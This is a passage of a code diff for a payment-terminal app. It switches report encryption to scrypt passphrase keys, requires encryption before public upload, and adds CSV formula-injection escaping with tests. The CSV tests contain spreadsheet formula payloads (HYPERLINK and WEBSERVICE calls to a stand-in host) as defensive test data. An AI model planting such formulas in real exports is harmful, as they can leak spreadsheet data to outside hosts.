2^15 × 8 × 128 B = 32 MiB, ~0.1–0.5 s. */ +export const REPORT_KDF = { name: "scrypt", N: 2 ** 15, r: 8, p: 1 } as const +/** The most an envelope may ask a reader to spend, so a forged one can't hang the app. */ +const MAX_N = 2 ** 17 +const SALT_LENGTH = 16 +const KEY_CHECK_DOMAIN = new TextEncoder().encode("t3rminal-report-key-check") + +interface ReportMeta { + date: string + txCount: number + terminal: string + encryptedAt: string +} + +export interface EncryptedReportV3 { + v: 3 + kdf: { name: "scrypt"; N: number; r: number; p: number; salt: string } encrypted: string - meta: { - date: string - txCount: number - terminal: string - encryptedAt: string - /** Short fingerprint of the key used (so a viewer can tell which key unlocks it). */ - keyFingerprint: string + meta: ReportMeta & { + /** First 4 bytes of SHA-256(domain || key): tells a wrong key from a damaged copy. */ + keyCheck: string } } -export function encryptReportSymmetric( +export interface EncryptedReportV2 { + v: 2 + encrypted: string + meta: ReportMeta & { keyFingerprint: string } +} + +export type EncryptedReport = EncryptedReportV2 | EncryptedReportV3 + +function normalisePassphrase(passphrase: string): Uint8Array { + return new TextEncoder().encode(passphrase.trim().normalize("NFKC")) +} + +async function deriveReportKey( + passphrase: string, + salt: Uint8Array, + params: { N: number; r: number; p: number }, +): Promise { + return scryptAsync(normalisePassphrase(passphrase), salt, { ...params, dkLen: 32 }) +} + +function keyCheck(key: Uint8Array): string { + const input = new Uint8Array(KEY_CHECK_DOMAIN.length + key.length) + input.set(KEY_CHECK_DOMAIN, 0) + input.set(key, KEY_CHECK_DOMAIN.length) + return bytesToHex(sha256(input)).slice(0, 8) +} + +/** Seal a report under `passphrase` as a v3 envelope (fresh salt, fresh nonce). */ +export async function encryptReport( reportJson: string, - key: Uint8Array, - meta: { date: string; txCount: number; terminal: string; keyFingerprint: string } -): SymmetricEncryptedReport { - if (key.length !== 32) throw new Error("Symmetric key must be 32 bytes") - const data = new TextEncoder().encode(reportJson) - const packed = xchachaEncryptPacked(data, key) - return { - v: 2, - encrypted: bytesToHex(packed), - meta: { - ...meta, - encryptedAt: new Date().toISOString(), - }, + passphrase: string, + meta: { date: string; txCount: number; terminal: string }, +): Promise { + const salt = randomBytes(SALT_LENGTH) + const { N, r, p } = REPORT_KDF + const key = await deriveReportKey(passphrase, salt, { N, r, p }) + try { + const packed = xchachaEncryptPacked(new TextEncoder().encode(reportJson), key) + return { + v: 3, + kdf: { name: "scrypt", N, r, p, salt: bytesToHex(salt) }, + encrypted: bytesToHex(packed), + meta: { ...meta, encryptedAt: new Date().toISOString(), keyCheck: keyCheck(key) }, + } + } finally { + key.fill(0) } } -export function decryptReportSymmetric( - envelope: SymmetricEncryptedReport, - key: Uint8Array -): string { - if (key.length !== 32) throw new Error("Symmetric key must be 32 bytes") - const packed = hexToBytes(envelope.encrypted) - const plain = xchachaDecryptPacked(packed, key) - return new TextDecoder().decode(plain) +/** The passphrase on this device is not the one the report was sealed with. */ +export class WrongReportKeyError extends Error { + /** v2 envelopes name the key they need; v3 ones do not publish it. */ + readonly fingerprint?: string + constructor(fingerprint?: string) { + super( + `This report was encrypted with a different key${fingerprint ? ` (${fingerprint})` : ""}. ` + + "Set that key in Settings → Report Encryption to open it.", + ) + this.name = "WrongReportKeyError" + this.fingerprint = fingerprint + } +} + +/** The key is right but the ciphertext does not open: a damaged copy. */ +export class DamagedReportError extends Error { + constructor() { + super("This report could not be decrypted: the stored copy looks damaged.") + this.name = "DamagedReportError" + } +} + +function validKdf(kdf: EncryptedReportV3["kdf"]): boolean { + return ( + kdf?.name === "scrypt" && + Number.isInteger(kdf.N) && kdf.N >= 2 && kdf.N <= MAX_N && (kdf.N & (kdf.N - 1)) === 0 && + kdf.r === 8 && kdf.p === 1 && + typeof kdf.salt === "string" && /^[0-9a-f]{32}$/i.test(kdf.salt) + ) +} + +/** Open a v2 or v3 envelope with `passphrase`; returns the report JSON. */ +export async function decryptReport(envelope: EncryptedReport, passphrase: string): Promise { + if (envelope.v === 2) { + const sealedWith = envelope.meta?.keyFingerprint?.toUpperCase() + const current = legacyKeyFingerprint(passphrase) + if (sealedWith && sealedWith !== current) throw new WrongReportKeyError(sealedWith) + const key = deriveLegacyKey(passphrase) + try { + return new TextDecoder().decode(xchachaDecryptPacked(hexToBytes(envelope.encrypted), key)) + } catch { + if (sealedWith) throw new DamagedReportError() + throw new WrongReportKeyError() + } finally { + key.fill(0) + } + } + + if (!validKdf(envelope.kdf)) throw new DamagedReportError() + const { N, r, p, salt } = envelope.kdf + const key = await deriveReportKey(passphrase, hexToBytes(salt), { N, r, p }) + try { + const check = envelope.meta?.keyCheck?.toLowerCase() + if (check && check !== keyCheck(key)) throw new WrongReportKeyError() + try { + return new TextDecoder().decode(xchachaDecryptPacked(hexToBytes(envelope.encrypted), key)) + } catch { + if (check) throw new DamagedReportError() + throw new WrongReportKeyError() + } + } finally { + key.fill(0) + } } -export function isSymmetricEncryptedReport(data: unknown): data is SymmetricEncryptedReport { +export function isEncryptedReport(data: unknown): data is EncryptedReport { if (!data || typeof data !== "object") return false const d = data as Record - return d.v === 2 && typeof d.encrypted === "string" && typeof d.meta === "object" + return (d.v === 2 || d.v === 3) && typeof d.encrypted === "string" && typeof d.meta === "object" } diff --git a/lib/export/csv.ts b/lib/export/csv.ts index c8877b3..d85ba6c 100644 --- a/lib/export/csv.ts +++ b/lib/export/csv.ts @@ -177,15 +177,33 @@ const CSV_HEADERS = [ "Block Number", ]; -function escCsv(val: string | null | undefined): string { +// A cell a spreadsheet would read as a formula: =, +, -, @, or a leading tab +// or carriage return (which some apps strip before parsing the rest). +const FORMULA_START = /^[=+\-@\t\r]/; +// Plain numbers ("-5.00", "+1") start with - or + but are data, not formulas. +const PLAIN_NUMBER = /^[+-]?\d+(\.\d+)?$/; + +/** + * One CSV cell. Quotes per RFC 4180 and neutralises formula injection + * (CWE-1236): a text cell that a spreadsheet would evaluate gets a leading + * apostrophe, so `=HYPERLINK(...)` in an item name shows as text in Excel, + * LibreOffice or Google Sheets instead of running. + */ +export function csvCell(val: string | number | null | undefined): string { if (val === null || val === undefined) return ""; - const s = String(val); - if (s.includes(",") || s.includes('"') || s.includes("\n")) { + let s = String(val); + if (FORMULA_START.test(s) && !PLAIN_NUMBER.test(s)) s = `'${s}`; + if (/[",\r\n]/.test(s)) { return `"${s.replace(/"/g, '""')}"`; } return s; } +/** One CSV line from its cells. */ +export function csvLine(values: ReadonlyArray): string { + return values.map(csvCell).join(","); +} + export function buildCsv(rows: ExportRow[]): string { const csvRows = rows.map((r) => [ @@ -202,7 +220,7 @@ export function buildCsv(rows: ExportRow[]): string { r.customer, r.txHash, r.blockNumber, - ].map(escCsv).join(","), + ].map(csvCell).join(","), ); return [CSV_HEADERS.join(","), ...csvRows].join("\n"); } diff --git a/lib/hooks/use-bulletin.ts b/lib/hooks/use-bulletin.ts index 7166102..ab33ca5 100644 --- a/lib/hooks/use-bulletin.ts +++ b/lib/hooks/use-bulletin.ts @@ -6,8 +6,14 @@ import { fetchJsonFromBulletin, gatewayUrlForCid, } from "@/lib/bulletin/client"; -import { isSymmetricEncryptedReport, decryptReportSymmetric } from "@/lib/crypto/symmetric-report"; -import { loadManualKey, manualKeyFingerprint } from "@/lib/crypto/manual-key"; +import { + DamagedReportError, + WrongReportKeyError, + type EncryptedReport, + decryptReport, + isEncryptedReport, +} from "@/lib/crypto/symmetric-report"; +import { getManualPassphrase } from "@/lib/crypto/manual-key"; import { journeyTracker, captureError, isExpectedError, withSpan } from "@/lib/telemetry"; export interface DailyReportItem { @@ -61,7 +67,8 @@ export interface UseBulletinReturn { isUploading: boolean; isReading: boolean; error: string | null; - uploadDailyReport: (report: DailyReport, precomputedBytes?: Uint8Array) => Promise<{ + /** Uploads a sealed report; a plain DailyReport is never accepted. */ + uploadDailyReport: (report: EncryptedReport, precomputedBytes?: Uint8Array) => Promise<{ cid: string; cidHash: string; gatewayUrl: string; @@ -83,7 +90,7 @@ export function useBulletin(): UseBulletinReturn { const [error, setError] = useState(null); const uploadDailyReport = useCallback( - async (report: DailyReport, precomputedBytes?: Uint8Array) => { + async (report: EncryptedReport, precomputedBytes?: Uint8Array) => { setIsUploading(true); setError(null); @@ -94,7 +101,7 @@ export function useBulletin(): UseBulletinReturn { // already mirrored on-chain. const jsonBytes = precomputedBytes ?? new TextEncoder().encode(JSON.stringify(report, null, 2)); - console.log(`[Bulletin] Uploading daily report for ${report.selectedDate}`); + console.log(`[Bulletin] Uploading daily report for ${report.meta.date}`); const result = await withSpan( "bulletin.upload-report", @@ -145,43 +152,29 @@ export function useBulletin(): UseBulletinReturn { ); journeyTracker.milestone("report-decrypt", "ipfs-fetched"); - // If encrypted with manual passphrase, attempt symmetric decryption - if (isSymmetricEncryptedReport(data)) { - console.log("[Bulletin] Report is encrypted, attempting decryption..."); - const key = loadManualKey(); - if (!key) { + // Encrypted under the merchant's passphrase (v3, or a legacy v2). + // The envelope tells a wrong key from a damaged copy, so the merchant + // never sees a bare "invalid tag". + if (isEncryptedReport(data)) { + console.log(`[Bulletin] Report is encrypted (v${data.v}), attempting decryption...`); + const passphrase = getManualPassphrase(); + if (!passphrase) { throw new Error( "This report is encrypted. Set your decryption key in Settings → Report Encryption.", ); } - // The envelope names the key it was sealed with; a different key - // here would only fail the AEAD with a bare "invalid tag". - const sealedWith = data.meta?.keyFingerprint?.toUpperCase(); - const current = manualKeyFingerprint(); - const wrongKey = (fingerprint?: string) => - new Error( - `This report was encrypted with a different key${fingerprint ? ` (${fingerprint})` : ""}. ` + - "Set that key in Settings → Report Encryption to open it.", - ); - if (sealedWith && current && sealedWith !== current) { - key.fill(0); - throw wrongKey(sealedWith); - } let reportJson: string; try { - reportJson = withSpan( + reportJson = await withSpan( "bulletin.decrypt-report", - () => decryptReportSymmetric(data, key), + () => decryptReport(data, passphrase), ); } catch (decryptError) { console.warn("[Bulletin] Decryption failed:", decryptError); - // The right key that still fails to open it means a damaged copy. - if (sealedWith && current && sealedWith === current) { - throw new Error("This report could not be decrypted: the stored copy looks damaged."); + if (decryptError instanceof WrongReportKeyError || decryptError instanceof DamagedReportError) { + throw decryptError; } - throw wrongKey(sealedWith); - } finally { - key.fill(0); + throw new WrongReportKeyError(); } const report = JSON.parse(reportJson) as DailyReport; journeyTracker.milestone("report-decrypt", "decrypted"); diff --git a/lib/hooks/use-daily-report.ts b/lib/hooks/use-daily-report.ts index c3d6123..0fa6b07 100644 --- a/lib/hooks/use-daily-report.ts +++ b/lib/hooks/use-daily-report.ts @@ -14,8 +14,8 @@ import { } from "@/lib/contracts/revive-bulletin-index"; import { useAccount } from "@/lib/web3"; import { calculateCID } from "@/lib/bulletin/cid"; -import { loadManualKey, manualKeyFingerprint } from "@/lib/crypto/manual-key"; -import { encryptReportSymmetric } from "@/lib/crypto/symmetric-report"; +import { getManualPassphrase } from "@/lib/crypto/manual-key"; +import { encryptReport } from "@/lib/crypto/symmetric-report"; import { journeyTracker, captureError, isExpectedError } from "@/lib/telemetry"; import { loadAdminQrPayload } from "@/lib/config/admin-qr-binding"; import { isOnchainIndexingEnabled } from "@/lib/config/onchain-indexing"; @@ -46,6 +46,10 @@ function withReportTimeout(promise: Promise, label: string): Promise { * matching the existing skip-on-read-failure behavior). */ const PRECHECK_TIMEOUT_MS = 8_000; +/** Shown when a report is saved before the merchant has set a report key. */ +export const REPORT_KEY_REQUIRED = + "Set a report encryption key in Settings → Report Encryption first. Reports are stored publicly, so they are never uploaded unencrypted."; + function raceTimeout(promise: Promise, ms: number, what: string): Promise { return Promise.race([ promise, @@ -97,12 +101,6 @@ export interface UseDailyReportReturn { error: string | null; generateReport: (date: string, merchantAddress: string, finalize?: boolean) => Promise; generateReportForSales: (args: PeriodReportArgs) => Promise; - uploadReport: (report: DailyReport) => Promise<{ - cid: string; - cidHash: string; - gatewayUrl: string; - blockHash: string; - }>; /** * Build + upload a report for `date` and mirror its CID locally and on-chain, * leaving the day OPEN (repeatable — overwrites the prior CID). @@ -282,27 +280,11 @@ export function useDailyReport(): UseDailyReportReturn { [], ); - /** - * Upload report to Bulletin Chain - */ - const uploadReport = useCallback( - async (report: DailyReport) => { - setError(null); - try { - return await uploadDailyReport(report); - } catch (err) { - const message = err instanceof Error ? err.message : "Failed to upload report"; - setError(message); - throw err; - } - }, - [uploadDailyReport] - ); - /** * Shared report pipeline: * 1. Generate report from localStorage data - * 2. Encrypt (if a manual key is set) + * 2. Encrypt under the merchant's passphrase — required: Bulletin is + * public, so a report never leaves the device in plaintext * 3. Upload to Bulletin Chain * 4. Mirror CID on-chain via contract (gated by the on-chain toggle), with * `finalize` deciding whether the day is locked @@ -330,6 +312,11 @@ export function useDailyReport(): UseDailyReportReturn { try { const result = await withReportTimeout((async (): Promise => { + // Bulletin is public and permanent: refuse before any work rather + // than fall back to uploading the report in the clear. + const passphrase = getManualPassphrase(); + if (!passphrase) throw new Error(REPORT_KEY_REQUIRED); + // Identity that scopes the on-chain slot + tags the local record. const adminPayload = await loadAdminQrPayload(); const terminalId = adminPayload?.terminalId ?? "T3RMINAL"; @@ -396,28 +383,15 @@ export function useDailyReport(): UseDailyReportReturn { throw new Error("Cannot build a report for a day with no transactions"); } - // 2. Encrypt with the manually configured passphrase, if set - let reportToUpload: DailyReport | object = report; - const manualKey = loadManualKey(); - if (manualKey) { - setPhase("encrypting"); - const fp = manualKeyFingerprint() ?? ""; - reportToUpload = encryptReportSymmetric( - JSON.stringify(report), - manualKey, - { - date: reportKey, - txCount: report.totalTransactions, - terminal: merchantAddress.slice(0, 12), - keyFingerprint: fp, - }, - ); - manualKey.fill(0); - journeyTracker.milestone(journey, "encrypted"); - console.log(`[DailyReport] Encrypted with manual key (fp=${fp})`); - } else { - console.log("[DailyReport] No manual key set — uploading plaintext"); - } + // 2. Encrypt under the merchant's passphrase (scrypt, fresh salt). + setPhase("encrypting"); + const reportToUpload = await encryptReport(JSON.stringify(report), passphrase, { + date: reportKey, + txCount: report.totalTransactions, + terminal: merchantAddress.slice(0, 12), + }); + journeyTracker.milestone(journey, "encrypted"); + console.log("[DailyReport] Encrypted with the report key (v3)"); // Fail fast on a finalized slot before spending any chain time (the // read has been overlapping generate/encrypt since the start). @@ -496,7 +470,7 @@ export function useDailyReport(): UseDailyReportReturn { if (finalize) { // Z report: the upload must confirm before the slot is locked. - uploadResult = await uploadDailyReport(reportToUpload as DailyReport, uploadBytes); + uploadResult = await uploadDailyReport(reportToUpload, uploadBytes); journeyTracker.milestone(journey, "ipfs-uploaded"); onChainIndexed = await runReviveMirror(); } else { @@ -504,7 +478,7 @@ export function useDailyReport(): UseDailyReportReturn { // leg's rejection can mask the other's outcome (runReviveMirror // never rejects by construction, but defend against surprises). const [uploadOutcome, mirrorOutcome] = await Promise.allSettled([ - uploadDailyReport(reportToUpload as DailyReport, uploadBytes), + uploadDailyReport(reportToUpload, uploadBytes), runReviveMirror(), ]); onChainIndexed = mirrorOutcome.status === "fulfilled" ? mirrorOutcome.value : false; @@ -617,7 +591,6 @@ export function useDailyReport(): UseDailyReportReturn { error, generateReport, generateReportForSales, - uploadReport, saveDailyReport, savePeriodReport, finalizeDailyReport, diff --git a/lib/telemetry/payment-metrics.ts b/lib/telemetry/payment-metrics.ts index 3d5d920..4469e07 100644 --- a/lib/telemetry/payment-metrics.ts +++ b/lib/telemetry/payment-metrics.ts @@ -1,8 +1,8 @@ /** * Payment measurements, written to the local log. * - * - `recordPaymentOutcome` — one line per sale: success or failure, with - * method, source and the failure reason. + * - `recordPaymentOutcome` — one line per sale: success, partial (the host + * credited less than asked) or failure, with method, source and reason. * - `recordCoinagePaymentPhase` — how long each W3S Coinage phase took: * QR setup, statement delivery, decrypt/match, the host top-up. * @@ -35,7 +35,7 @@ export interface CoinagePaymentPhaseParams { } export interface PaymentOutcomeParams { - outcome: "success" | "failure"; + outcome: "success" | "partial" | "failure"; /** How the sale settled — W3S Coinage through the host. */ method: PaymentMethodKind; /** Decimal amount string for context. */ @@ -45,7 +45,7 @@ export interface PaymentOutcomeParams { saleId?: string; terminalId?: string; merchantId?: string; - /** Populated on failure — the human-readable reason. */ + /** Populated on failure or partial — the human-readable reason. */ reason?: string; } @@ -54,7 +54,7 @@ function defined(fields: Record): Record { return Object.fromEntries(Object.entries(fields).filter(([, v]) => v !== undefined)); } -/** Record a terminal payment as success or failure. */ +/** Record a terminal payment as success, partial or failure. */ export function recordPaymentOutcome(params: PaymentOutcomeParams): void { const log = params.outcome === "success" ? console.info : console.warn; log( diff --git a/tests/csv-export.test.ts b/tests/csv-export.test.ts new file mode 100644 index 0000000..59a34b9 --- /dev/null +++ b/tests/csv-export.test.ts @@ -0,0 +1,55 @@ +import { describe, expect, it } from "vitest"; +import { buildCsv, csvCell, csvLine, type ExportRow } from "@/lib/export/csv"; + +describe("csvCell", () => { + it("neutralises cells a spreadsheet would run as a formula", () => { + expect(csvCell('=HYPERLINK("https://x/?"&A2,"Espresso")')).toBe( + `"'=HYPERLINK(""https://x/?""&A2,""Espresso"")"`, + ); + expect(csvCell("+cmd")).toBe("'+cmd"); + expect(csvCell("-2+3")).toBe("'-2+3"); + expect(csvCell("@SUM(A1)")).toBe("'@SUM(A1)"); + expect(csvCell("\t=1")).toBe("'\t=1"); + expect(csvCell("\r=1")).toBe(`"'\r=1"`); + }); + + it("leaves plain numbers, including negative ones, as numbers", () => { + expect(csvCell("-5.00")).toBe("-5.00"); + expect(csvCell("+1")).toBe("+1"); + expect(csvCell(42)).toBe("42"); + }); + + it("quotes delimiters per RFC 4180 and renders empty for null", () => { + expect(csvCell("Latte, large")).toBe('"Latte, large"'); + expect(csvCell('say "hi"')).toBe('"say ""hi"""'); + expect(csvCell("a\nb")).toBe('"a\nb"'); + expect(csvCell(null)).toBe(""); + expect(csvCell(undefined)).toBe(""); + }); + + it("joins a line", () => { + expect(csvLine(["a", null, "=1", 2])).toBe("a,,'=1,2"); + }); +}); + +describe("buildCsv", () => { + it("escapes an item name taken verbatim from the catalog", () => { + const row: ExportRow = { + saleId: "S1", + timestampMs: "0", + timestampIso: "1970-01-01T00:00:00.000Z", + status: "completed", + itemName: "=WEBSERVICE(\"https://x\")", + quantity: "1", + unitPrice: "3.00", + lineTotal: "3.00", + asset: "CASH", + merchant: "m", + customer: "anonymous", + txHash: "0x1", + blockNumber: "0", + }; + const [, line] = buildCsv([row]).split("\n"); + expect(line).toContain(`"'=WEBSERVICE(""https://x"")"`); + }); +}); diff --git a/tests/report-crypto.test.ts b/tests/report-crypto.test.ts new file mode 100644 index 0000000..f1fad84 --- /dev/null +++ b/tests/report-crypto.test.ts @@ -0,0 +1,75 @@ +import { describe, expect, it } from "vitest"; +import { + DamagedReportError, + WrongReportKeyError, + decryptReport, + encryptReport, + isEncryptedReport, + type EncryptedReportV2, + type EncryptedReportV3, +} from "@/lib/crypto/symmetric-report"; +import { deriveLegacyKey, legacyKeyFingerprint, passphraseProblem } from "@/lib/crypto/manual-key"; +import { xchachaEncryptPacked } from "@/lib/crypto/primitives"; + +const PASS = "night shift key"; +const META = { date: "2026-11-16", txCount: 2, terminal: "5GrwvaEF5zXb" }; +const hex = (b: Uint8Array) => Buffer.from(b).toString("hex"); + +describe("report encryption (v3)", () => { + it("round-trips, with a fresh salt and nonce per report and nothing of the key published", async () => { + const a = await encryptReport('{"x":1}', PASS, META); + const b = await encryptReport('{"x":1}', PASS, META); + expect(a.v).toBe(3); + expect(a.kdf).toMatchObject({ name: "scrypt", N: 2 ** 15, r: 8, p: 1 }); + expect(a.kdf.salt).toMatch(/^[0-9a-f]{32}$/); + expect(a.kdf.salt).not.toBe(b.kdf.salt); + expect(a.encrypted).not.toBe(b.encrypted); + expect(a.meta).toMatchObject({ ...META, keyCheck: expect.stringMatching(/^[0-9a-f]{8}$/) }); + // No unsalted fingerprint: the fast guessing oracle is gone. + expect(a.meta).not.toHaveProperty("keyFingerprint"); + expect(JSON.stringify(a)).not.toContain(legacyKeyFingerprint(PASS)); + expect(await decryptReport(a, PASS)).toBe('{"x":1}'); + expect(isEncryptedReport(a)).toBe(true); + }); + + it("tells a wrong key from a damaged copy", async () => { + const env = await encryptReport('{"x":1}', PASS, META); + await expect(decryptReport(env, "day shift key")).rejects.toBeInstanceOf(WrongReportKeyError); + const flipped = env.encrypted.slice(0, -2) + (env.encrypted.endsWith("00") ? "01" : "00"); + await expect(decryptReport({ ...env, encrypted: flipped }, PASS)).rejects.toBeInstanceOf(DamagedReportError); + }); + + it("refuses an envelope that asks for an unreasonable scrypt cost", async () => { + const env = await encryptReport('{"x":1}', PASS, META); + const heavy: EncryptedReportV3 = { ...env, kdf: { ...env.kdf, N: 2 ** 20 } }; + await expect(decryptReport(heavy, PASS)).rejects.toBeInstanceOf(DamagedReportError); + }); +}); + +describe("legacy v2 reports still open", () => { + const legacy = (passphrase: string): EncryptedReportV2 => ({ + v: 2, + encrypted: hex(xchachaEncryptPacked(new TextEncoder().encode('{"old":true}'), deriveLegacyKey(passphrase))), + meta: { ...META, encryptedAt: "2026-10-01T00:00:00Z", keyFingerprint: legacyKeyFingerprint(passphrase) }, + }); + + it("with the phrase they were sealed under", async () => { + expect(await decryptReport(legacy("key one"), "key one")).toBe('{"old":true}'); + }); + + it("and name the key they need otherwise", async () => { + const err = await decryptReport(legacy("key one"), "key two").catch((e: unknown) => e); + expect(err).toBeInstanceOf(WrongReportKeyError); + expect((err as WrongReportKeyError).fingerprint).toBe(legacyKeyFingerprint("key one")); + }); +}); + +describe("passphrase rule", () => { + it("asks for at least 12 characters", () => { + expect(passphraseProblem("")).toBe("Passphrase cannot be empty"); + expect(passphraseProblem(" ")).toBe("Passphrase cannot be empty"); + expect(passphraseProblem("key one")).toMatch(/at least 12 characters/); + expect(passphraseProblem(" short one ")).toMatch(/at least 12 characters/); + expect(passphraseProblem("night shift key")).toBeNull(); + }); +}); diff --git a/tests/telemetry.test.ts b/tests/telemetry.test.ts index 050fffd..3ce2d6f 100644 --- a/tests/telemetry.test.ts +++ b/tests/telemetry.test.ts @@ -93,6 +93,12 @@ describe("withSpan", () => { }); describe("payment measurements", () => { + it("logs a partial claim as a warning, not a success", () => { + recordPaymentOutcome({ outcome: "partial", method: "coins", reason: "credited 5.00 of 12.50" }); + expect(lastLine(warn)).toBe("[payment] partial"); + expect(warn.mock.calls.at(-1)?.[1]).toMatchObject({ reason: "credited 5.00 of 12.50" }); + }); + it("logs a success as info and a failure as a warning with its reason", () => { recordPaymentOutcome({ outcome: "success", method: "coins", saleId: "s1" }); expect(lastLine(info)).toBe("[payment] success");